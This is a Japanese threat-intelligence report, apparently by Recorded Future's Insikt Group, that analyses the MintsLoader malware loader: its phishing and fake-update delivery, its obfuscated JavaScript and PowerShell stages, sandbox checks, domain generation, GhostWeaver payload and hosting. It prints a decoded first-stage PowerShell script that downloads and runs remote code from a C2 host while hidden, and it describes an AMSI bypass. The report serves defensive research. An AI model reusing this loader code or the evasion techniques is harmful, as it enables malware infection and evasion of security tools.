Recorded FutureのMalware Intelligence HuntingでMintsLoaderを発見
Executive Summary
悪意のあるローダーであるMintsLoaderは、2024年にはすでに複数のフィッシングキャンペーンやドライブバイダウンロードキャンペーンで初確認されていました。ローダーは通常、GhostWeaver、StealC、修正されたBOINC(Berkeley Open Infrastructure for Network Computing)クライアントなどの第2段階のペイロードを展開します。MintsLoaderは、難読化されたJavaScriptとPowerShellスクリプトを含む多段階の感染チェーンを介して動作します。このマルウェアは、サンドボックスおよび仮想マシンの回避技術、ドメイン生成アルゴリズム(DGA)、HTTPベースのコマンド&コントロール(C2)通信を採用しています。
MintsLoaderは様々な脅威グループによって使用されていることが確認されていますが、TAG-124(別名LandUpdate808)の運営者はこれを広範囲に使用しています。このローダーは、産業、法律、エネルギー部門を標的とするフィッシングメール(TAG-124)、ブラウザの更新プロンプトになりすました侵害されたウェブサイト(SocGholish)、イタリアのPEC認定メールシステムを介して配信される請求書をテーマにしたルアーなど、複数の感染経路を通じて展開されます。
MintsLoaderの難読化の使用はYARAルールなどの静的検知を複雑にし、DGAベースのC2インフラストラクチャを使用しているため、最新のウォッチリストやブロックリストを維持することが困難になり、そのアンチ分析技術はサンドボックスや仮想化に依存するホストベースの検知を複雑にします。しかし、Recorded FutureのMalware Intelligence Huntingは、新しいMintsLoaderサンプルと関連するC2ドメインを特定し、ブロックリストや脅威ハンティング用の最新リストを提供します。
MintsLoaderは、難読化、サンドボックス回避、適応型インフラストラクチャを永続的に使用しているため、マルウェアエコシステム内での継続的な存在が保証されている可能性が高く、他の脅威アクターによる使用が増加する可能性があります。多様な配信メカニズムとしてのこのマルウェアの役割は、サイバー犯罪者コミュニティにおける専門化とプロフェッショナリズムの高まりを反映しています。この高度化が進むにつれて、脅威アクターはより耐久性が高く効率的な運用が可能になり利益を得る一方で、防御側には悪意のある活動をより効果的かつ大規模に特定し阻止する機会が生まれる可能性があります。
主な調査結果
- MintsLoaderの第2段階のPowerShellスクリプトは、サンドボックスと仮想環境の回避技術を使用しているため、自動分析の影響を受けにくくなり、動的検出ツールをバイパスする可能性が高くなります。
- MintsLoader は DGA を使用してシステム日付に基づいて毎日 C2 ドメインを生成するため、インフラストラクチャの監視活動とドメイン/IPベースの検知が複雑になります。
- Recorded FutureのMalware Intelligence Huntingは、動的なインフラストラクチャのため通常は追跡が困難なMintsLoaderに関連する最新のC2ドメインやその他のアーティファクトを提供します。
- Insikt Groupは、観測されたキャンペーンにおいてMintsLoaderによって展開された主要なペイロードがGhostWeaverであることを示しています。
- GhostWeaver の自己署名 X.509 証明書は、AsyncRAT およびその亜種の証明書に類似しているため、当初は AsyncRAT などの他のマルウェアファミリーとの誤った関連付けを引き起こします。
背景
Orange Cyberdefenseは 2024年7月~10月の広範な配布キャンペーンで初めてMintsLoaderを検出しました。Insikt Groupは、Palo AltoのUnit42によるSocGholish感染の分析に基づき、2024年2月に以前のキャンペーンを特定しました。
このローダーは、複数のDGAベースのドメインから取得されたJavaScript(第1段階)およびPowerShell(第2段階)のスクリプトで構成されています。「MintsLoader」という名前は、URLパラメータs=mints[NUMBER]の特徴的な使用に由来しています(例:s=mints11)。MintsLoaderは通常、GhostWeaver、StealC、Berkeley Open Infrastructure for Network Computing(BOINC)クライアントなどのセカンダリペイロードを配信するキャンペーンでよく見られます。
図1:MintsLoaderのプロファイル(出典:Recorded Future)
MintsLoaderは複数の脅威アクターによって使用されていると考えられますが、TAG-124(LandUpdate808とも呼ばれる)感染がMintsLoaderを展開することが頻繁に観察されています。さらに、SocGholishを使用する脅威アクターはMintsLoaderを早期に採用していたため、MintsLoaderキャンペーンはSocGholishのみに関連付けられていると最初に評価されました。例えば、2024年2月、Palo AltoのUnit42はSocGholishにリンクされた指標を公開しました(図2)が、Insikt Groupの分析によると、AsyncRATを配信していると特定されたURLは、既知のMintsLoader URLパターンとも一致しています。
図2:Palo Alto SocGholish感染のIoC(出典:Recorded Future)
同様に、2024年7月、Huntress LabsはBOINCクライアントを配信するSocGholish感染を報告しました。特に、BOINCのダウンロードに使用されたURLは、既知のMintsLoaderのURLパターンと一致しています。図3はMintsLoaderを使用する脅威アクターの概要を示しています。
図3:脅威アクターによるMintsLoaderの使用(出典:Recorded Future)
以下は、MintsLoaderに関連する最近報告されたキャンペーンです。
MintsLoader と Kongtuke/ClickFix ページ
2025年初頭、セキュリティアナリストは、MintsLoaderを第1段階のローダーとして配信するフィッシングキャンペーンを観測しました。フィッシングメール(米国およびヨーロッパのエネルギー、石油・ガス、法務部門を標的)には、悪意のあるJavaScriptの添付ファイルまたは偽の「クリックして確認」ウェブページへのリンクが含まれていました。図4はClickFixページの例を示しています。
図4: ClickFixページの例(出典:https://www.hhs.gov/)
どちらの場合も、被害者のマシンでMintsLoaderのPowerShellベースの第2段階が実行されました。このローダーは最終的なペイロード、特にStealCインフォスティーラーと修正されたBOINCクライアントビルドをプルダウンしました。このキャンペーンは、偽のCAPTCHA検証ページ(ClickFix/KongTukeのルアー)を利用して、ユーザーにコピーされたPowerShellコマンドを実行させ、MintsLoaderをダウンロードして実行させました(図5)。
図5:MintsLoader ClickFix感染チェーン(出典:Recorded Future)
このキャンペーンの他の感染チェーンでは、被害者がダウンロードして開いた「Fattura########.js」ファイル(イタリア語で「請求書」の意)を介してMintsLoaderが配布され、同じPowerShellローダーの実行につながりました。eSentireの脅威対応ユニットの研究者は、このキャンペーンを報告し、脅威アクターが北米とヨーロッパの産業および専門サービスのターゲットに焦点を当てていることに注目しました。
SocGholishの「FakeUpdates」キャンペーン
複数の報告によると(1、2)、SocGholish(FakeUpdates)の脅威アクターはMintsLoaderをアクティビティに組み込んだようです。2024年7月頃から、侵害されたウェブサイトからのSocGholish感染により、感染チェーンがMintsLoaderを介してBOINC分散コンピューティングクライアントをインストールすることが示されています。
図6に示されているこのドライブバイキャンペーンでは、正規のサイトを閲覧していた被害者が、偽のブラウザ更新プロンプト(多くの場合update.jsスクリプトが発信元)に遭遇しました。実行すると、悪意のあるJavaScriptが難読化されたMintsLoaderペイロードを取得し、複数ステップのPowerShellシーケンスが開始されました。
図6:MintsLoaderの偽のアップデートの例(出典:TRAC Labs)
Huntress Labsは、2つの並行した結果を記録しました。1つのブランチでは、ファイルレスのAsyncRATがメモリ内で実行され、もう1つのブランチでは、攻撃者の制御下でステルスBOINCがインストールされました。BOINCの展開は大幅に変更され、標準のBOINCサーバーではなく、悪意のあるC2に接続するように構成されました。
場合によっては、GhostWeaver PowerShellバックドア(MandiantによってUNC4108として追跡)はMintsLoaderが通じて配信され、攻撃者に永続的な足場と追加のプラグインをロードするためのプラットフォームを提供しました。
ヨーロッパにおける請求書フィッシング
2024年後半に行われた別のMintsLoaderキャンペーンは、請求書をテーマにしたフィッシングメールを介してヨーロッパの組織を標的にしました。その一例が図7です。イタリアのPEC(認定電子メール)システムを活用したスパムメッセージで正当性を高め、受信者を請求書になりすまして添付のJavaScriptファイルを開かせました。Spamhausの調査チームはこれを「PECインボイス詐欺」と名付け、攻撃者が信頼できるメールチャネルを悪用してセキュリティチェックを回避したことを強調しました。このキャンペーンは、「企業から時間、お金、信頼を盗む」ことで注目されました。
図7:PECフィッシングメール(出典:Spamhaus)
技術的分析
MintsLoaderは、JavaScriptとPowerShellを含む多段階の実行チェーンを使用し、各段階で難読化を採用して分析を妨害します。MintsLoaderは追加機能のないローダーとしてのみ機能しますが、その主な強みはサンドボックスと仮想マシンの回避技術、そして実行された日に基づいてC2ドメインを導出するDGA実装にあります。これらの機能は、静的分析とホストベースの検知を著しく複雑にします。それにもかかわらず、C2通信はHTTPを介して行われ、新しいサンプルを検出および識別するための信頼性の高い手段を提供します。図8はMintsLoaderの高次的な機能を示しています。
図8:MintsLoaderのの高次的な機能(出典:Recorded Future)
このMintsLoaderの分析には、第1段階および第2段階のペイロードとMintsLoaderインフラストラクチャの詳細が含まれています。
MintsLoader攻撃チェーン
MintsLoaderは通常、KongTukeまたはClickFixページへのリンクを含むフィッシングメールを通じて配信されます。実行されると、これらのページはJavaScriptの第1段階を取得して実行します。JavaScriptは高度に難読化されており、実行するとPowerShellコマンドが実行され、図9に示すようにMintsLoaderの第2段階をダウンロードして実行します。
図9: MintsLoader感染の第1段階(出典:Recorded Future Malware Intelligence)
この第2段階では、環境チェックを行い、サンドボックスまたは仮想化された環境で実行されているかどうかを判断します。次に、スクリプトはDGAを使用して次のC2ドメインを生成します。続いて、MintsLoaderは生成されたドメインに接続し、GhostWeaver、StealC、BOINCクライアントなどの最終ペイロードをダウンロードしようとします。図10は、この攻撃チェーンの高次的な概要を示しています。
図10:一般的なMintsLoader感染チェーン(出典:Recorded Future)
第1段階:JavaScript
MintsLoaderの初期段階は、PowerShellコマンドを実行して第2段階を取得するJavaScriptファイルで構成されています。このスクリプトは、ジャンクコメント、読み取り不可能な変数と関数名、文字の置換、文字列のエンコーディングによって大幅に難読化されています(図11)。Insikt Groupは、Recorded FutureのMalware Intelligence Hunting(付録A)から得られたデータを使用して、141個のMintsLoader第1段階サンプルを発見しました。
図11:MintsLoader第1段階の難読化されたJavaScript(出典:Recorded Future)
第1段階のJavaScriptペイロードのコア機能は、コマンド‘curl -useb http://[domain]/1.php?s=[campaign]’を実行するPowerShellコマンドを実行することです。このコマンドがダウンロードして第2段階を実行します。PowerShellで‘curl’を‘-useb’オプションと共に使用する場合、これはInvoke-WebRequestのエイリアスであり、実際にはHTTPリクエストを行うためにcURLプログラムは使用されません。
Insikt Groupは、第1段階ローダーの3つの異なるバージョンを特定しました。これらはすべて同じJavaScript難読化手法を採用していますが、展開されたPowerShellの実装方法が異なります。
最初の亜種は、図12に示すように、C2ドメインがハードコードされたPowerShellコマンドをクリアテキストで実行します。この亜種は「mints13」および「flibabc11」キャンペーンで確認されています。
図12:クリアテキストの第1段階PowerShellコマンド(出典:Recorded Future Malware Intelligence)
2番目のバリエーションでは、PowerShellコマンドは文字置換を使用して難読化されます。C2ドメインは依然としてハードコードされており、curlコマンドのエイリアスが代わりに使用されていますが、目的は次の段階をダウンロードすることです(図13)。これは、キャンペーン全体(「flibabc21」、「flibabc22」、「mints11」、「mints13」、「mints21」、「mints42」)で最も広く使用されているバリアントです。
図13:クリアテキストの第1段階の難読化されたPowerShellコマンド(出典:Recorded Future Malware Intelligence)
3番目のバリエーションは、コマンドをBase64でエンコードします(図14)。Insikt Groupは、この手法が以前のキャンペーン「mints13」で使用されていることを確認しました。
図14:Base64の第1段階のPowerShellコマンド(出典:Recorded Future Malware Intelligence)
しかし、このバージョンでは、PowerShellコマンドは、cURLを使用して第2段階をダウンロードするためのPowerShellコマンドを含むファイルを作成します。次に、ファイルを実行して削除します。
$ErrorActionPreference = "Continue" $randomNamePart1 = -join ((48..57) + (97..122) | Get-Random -Count 5 | % { [char]$_ }); $currentTimeHour = [int](Get-Date -Format HH); $currentTimeMinute = [int](Get-Date -Format mm); $minuteAdjustment = 3; If ($currentTimeMinute + $minuteAdjustment -gt 59) { $currentTimeHour = $currentTimeHour + 1; $currentTimeMinute = $currentTimeMinute + $minuteAdjustment - 60; } Else { $currentTimeMinute = $currentTimeMinute + $minuteAdjustment; }; $currentTimeHour = If (([int](Get-Date -Format HH) + 1) -gt 23) { "00" } Else { $currentTimeHour }; $randomNamePart2 = -join ((65..90) + (97..122) | Get-Random -Count 12 | % { [char]$_ }); $scriptToExecute = @" $ErrorActionPreference = "Continue" curl -useb "http://gibuzuy37v2v[.]top/1.php?s=mints13" | iex; Remove-Item "C:\Users\Public\Documents\$($randomNamePart2).ps1" -Force "@; "powershell -noprofile -executionpolicy bypass -WindowStyle hidden -c $($scriptToExecute)" | Out-File -FilePath "C:\Users\Public\Documents\$($randomNamePart2).ps1"; powershell -noprofile -executionpolicy bypass -WindowStyle hidden -File "C:\Users\Public\Documents\$($randomNamePart2).ps1"; Remove-Item "$env:APPDATA\*.ps1" -Force Remove-Item "$env:APPDATA\*.bat" -Force |
表1:PowerShell第1段階のデコードされたbase64テキスト(出典:Recorded Future)
第1段階:C2通信
任意のバリアントを実行すると、ハードコードされたドメインに対してHTTP GETリクエストが送信され、第2段階のペイロードが取得されます。要求が成功すると、図15に示されているPowerShellスクリプトが取得され、実行されます。
図15:C2からの第2段階の取得に成功(出典:Recorded Future)
DGAドメインが有効でなくなった場合、図16に示すように302レスポンスが返されます。
図16:C2からの第2段階の取得に失敗(出典:Recorded Future)
第2段階:PowerShell
第2段階である PowerShell には、Base64でエンコードされた文字列が含まれています。XORデコードと解凍の後、難読化されたプライマリペイロードが生成されます。図17は、このペイロードのスニペットで、MintsLoaderの難読化された文字列構築技術を示しています。
図17:第2段階のPowerShell難読化(出典:Recorded Future)
最初の難読化解除とデコードの後、PowerShellの第2段階は、AMSI(Antimalware Scan Interface)を既知の手法を使用してバイパスしようとします。この手法はSystem.Management.Automation.AmsiUtilsオブジェクトの変数amsiInitFailedをTRUEに設定することで、AMSIの初期化失敗を偽装します。
コードの残りの部分は、システムがベアメタル、サンドボックス、または仮想マシンで実行されているかどうかを検出するために、論理式で使用される戻り値を提供する3つのシステム情報クエリを実行します。これは、URLパラメータ「key」として送信された整数変数を介してC2に伝えられ、C2はその値を調べて、そのレスポンスが最終ペイロードをダウンロードする第3段階を返すのか、それともおとりを返すのかを判断します。キー変数をインクリメントするために使用される定数整数値は、第2段階のサンプルごとに変化することに留意してください。
各システム情報クエリの結果は、サンプルごとに順序が異なる3つの論理式と、キーを増加させる定数と照合され、その結果がキー変数の値に影響を与えます。論理式は、初期の検査では明白な結果を示さないかもしれません。例えば、以下の図18に示す最初の難読化解除システムチェックを仮想マシンで実行した場合、$isVirtualMachine変数は$trueと等しくなります。論理式「$true -eq 3」はPowerShellで$trueと評価され、キーを15310805757ではなく83670406277だけ増やします。
図18:第2段階のPowerShell仮想マシンのチェック(出典:Recorded Future)
2番目のシステムチェックでは、Win32_VideoController WMIオブジェクトのAdapterDACTypeメンバーに問い合わせて、デジタル-アナログコンバーター(DAC)チップの名前または識別子を取得します(図19参照)。これにより、感染したシステムがエミュレータ上で実行されているのか、仮想環境で実行されているのかを判断します。通常、Windowsシステムは「Internal」および/または「Integrated RAMDAC」を返し、この例ではキーが14467965888増加します。
図19:第2段階のPowerShellビデオコントローラーのチェック(出典:Recorded Future)
3番目のシステムチェックは、Win32_CacheMemory WMIオブジェクトのpurposeメンバーを照会します。これは、一般的なWindowsシステムでは「L1 Cache」に相当します。非自明な論理式「$l1CachePurpose.length —gt 4」は最適なケースで実行され、図20 に示す難読化解除の例では、キー値が27424330481増加します。
図20:第2段階のPowerShellメモリチェック(出典:Recorded Future)
システムチェックとキーの計算の後に日付と定数に基づいてランダムシードが生成され、system.Randomオブジェクトで使用され、単純なDGAとURLパスを使用してドメインが構築されます(図21参照)。作者は、URLパスを構築する際に2番目のランダム変数を使用しなかったことで誤りを犯した可能性があります。代わりに、URLパスの末尾に未定義の変数を使用し、URL パスの末尾を定数「htr.php」にしています。PowerShellでは、curlはInvoke-WebRequestのエイリアスであり、第3段階のC2へのリクエストを生成するために使用されます。そのため、User-Agent HTTPヘッダーにはcurlではなく、PowerShellのバージョン情報が含まれることに注意してください。
図21:第2段階のPowerShellの最終ペイロード取得(出典:Recorded Future)
第2段階:C2通信
図22は、URLパスがhtr.phpで終わる最終ペイロードに対するMintsLoaderリクエストの例を示しています。URLパラメータidはホスト名で、URLパラメータsはキャンペーンIDです。
図22:最近の第2段階のC2 GETリクエスト(出典:Recorded Future)
第3段階のMintsLoaderリクエストの例は図23に示されています。URLパスはランダム化されておらず、定数文字列「2.php」が使用されています。
図23:過去の第2段階のC2 GETリクエスト(出典:Recorded Future)
第2段階のリクエストが特定の要件を満たしていない場合、最終ペイロードは、おとり実行可能ファイル(図24)につながる可能性があり(この例参照)、これはサイトtemp[.]shからダウンロードされたAsyncRATおとり実行可能ファイルにつながります。AsyncRATとのこの関連付けにより、レポートやネットワークトラフィックに対する一部の対策では当初「AsyncRAT Loader」と命名されましたが、現在のMintsLoaderキャンペーンではAsyncRATが展開されていないにもかかわらず、MintsLoaderマルウェアサンプルが誤ってAsyncRATとしてタグ付けされるようになりました。
図24:第3段階のおとりレスポンス(出典:Recorded Future)
最近成功した試みを図25に示します。この例では、最終的なペイロードはGhostWeaverです。
図25:MintsLoader GhostWeaverのペイロード(出典:Recorded Future)
GhostWeaver
MintsLoaderによってデプロイされるペイロードの中で最もよく見られるのは、MintsLoaderとコードの類似点や機能の重複を示すPowerShellベースのリモートアクセス型トロイの木馬(RAT)であるGhostWeaverです。特に、GhostWeaverはsendPluginコマンドを介してMintsLoaderを追加のペイロードとして展開することができます。GhostWeaverとそのコマンド&コントロール(C2)サーバー間の通信は、PowerShellスクリプトに直接埋め込まれた難読化された自己署名X.509証明書を使用したTLS暗号化によって保護されています。この証明書は、C2インフラストラクチャへのクライアント側認証に利用されます。
GhostWeaverは定期的にAsyncRATとして誤分類されてきました。Insikt Groupは、この誤分類が、Palo Alto Networksが最初にGhostWeaverのサンプル(SHA256:fb0238b388d9448a6b36aca4e6a9e4fbcbac3afc239cb70251778d40351b5765)をファイルレスAsyncRATの亜種として識別したことに起因すると中程度の確信を持って評価しています。GhostWeaverとAsyncRAT は、自己署名X.509証明書内で、有効期限やシリアル番号の長さなど、特定の特性を共有しています。しかし、これらの類似点は、意味のある運用上の重複ではなく、単に共通の証明書生成方法を反映しているだけである可能性があります。
MintsLoaderインフラストラクチャ
Insikt Groupは当初、MintsLoader C2サーバーがBLNWXのみでホストされていることを発見しましたが、その後、Stark Industries Solutions Ltd(AS44477)、GWY IT Pty Ltd(AS199959)、SCALAXY-AS(58061)など、他のISPでも利用が増えていることを確認しました。SCALAXY-AS経由で発表されたMintsLoader C2のIPアドレスは、ホスティングプロバイダー3NT Solutions LLPとIROKO Networks Corporationによって運営されています。これらはどちらもロシア語の防弾ホスティングプロバイダーであるInferno Solutions(inferno[.]name)の一部です。SCALAXY-ASとStark Industries Solutionsへの切り替えは、MintsLoaderの運営者が匿名の仮想プライベートサーバー(VPS)プロバイダーから、より伝統的な防弾ホスティングサービスに移行したことを示唆しています。これは、おそらく、削除の試みに対してインフラストラクチャを強化し、運用の安定性を高めるための取り組みです。
過去数か月間にわたり、Insikt Groupは、疑わしい追加のキャンペーンIDとペイロードの範囲を特定しました(表2)。このデータは公開調査とInsikt Groupの内部調査からまとめられています。
キャンペーンID |
観測された最終ペイロード |
最終アクティブ日 |
メモ |
521 |
Stealc |
2025-04-20 |
|
522 |
Stealc |
2025-04-20 |
|
523 |
Stealc |
2025-04-20 |
AsyncRAT感染に関連して観察 |
524 |
Stealc |
2025-04-20 |
該当なし |
527 |
GhostWeaver |
2025-04-20 |
Insikt GroupによってTAG-124にリンクされています |
flibabc11 |
GhostWeaver |
2025-04-20 |
|
flibabc12 |
GhostWeaver |
2025-04-20 |
|
flibabc13 |
GhostWeaver |
2025-04-20 |
|
flibabc14 |
Stealc |
2025-04-20 |
|
flibabc21 |
GhostWeaver |
2025-04-20 |
|
flibabc22 |
GhostWeaver |
2025-04-20 |
|
flibabc23 |
GhostWeaver |
2025-04-20 |
|
flibabc25 |
GhostWeaver |
2025-04-20 |
|
515 |
該当なし |
該当なし |
AsyncRAT感染に関連して観察 |
578 |
該当なし |
該当なし |
Insikt Groupが以前にTAG-124に関連付けたドメインsesraw[.]comを経由してTAG-124にリンク |
579 |
該当なし |
該当なし |
AsyncRAT感染に関連して観察 |
boicn |
該当なし |
該当なし |
AsyncRAT感染に関連して観察 |
mints1 |
該当なし |
該当なし |
該当なし |
mints11 |
該当なし |
該当なし |
該当なし |
mints12 |
該当なし |
該当なし |
該当なし |
mints13 |
該当なし |
該当なし |
該当なし |
mints21 |
該当なし |
該当なし |
該当なし |
関連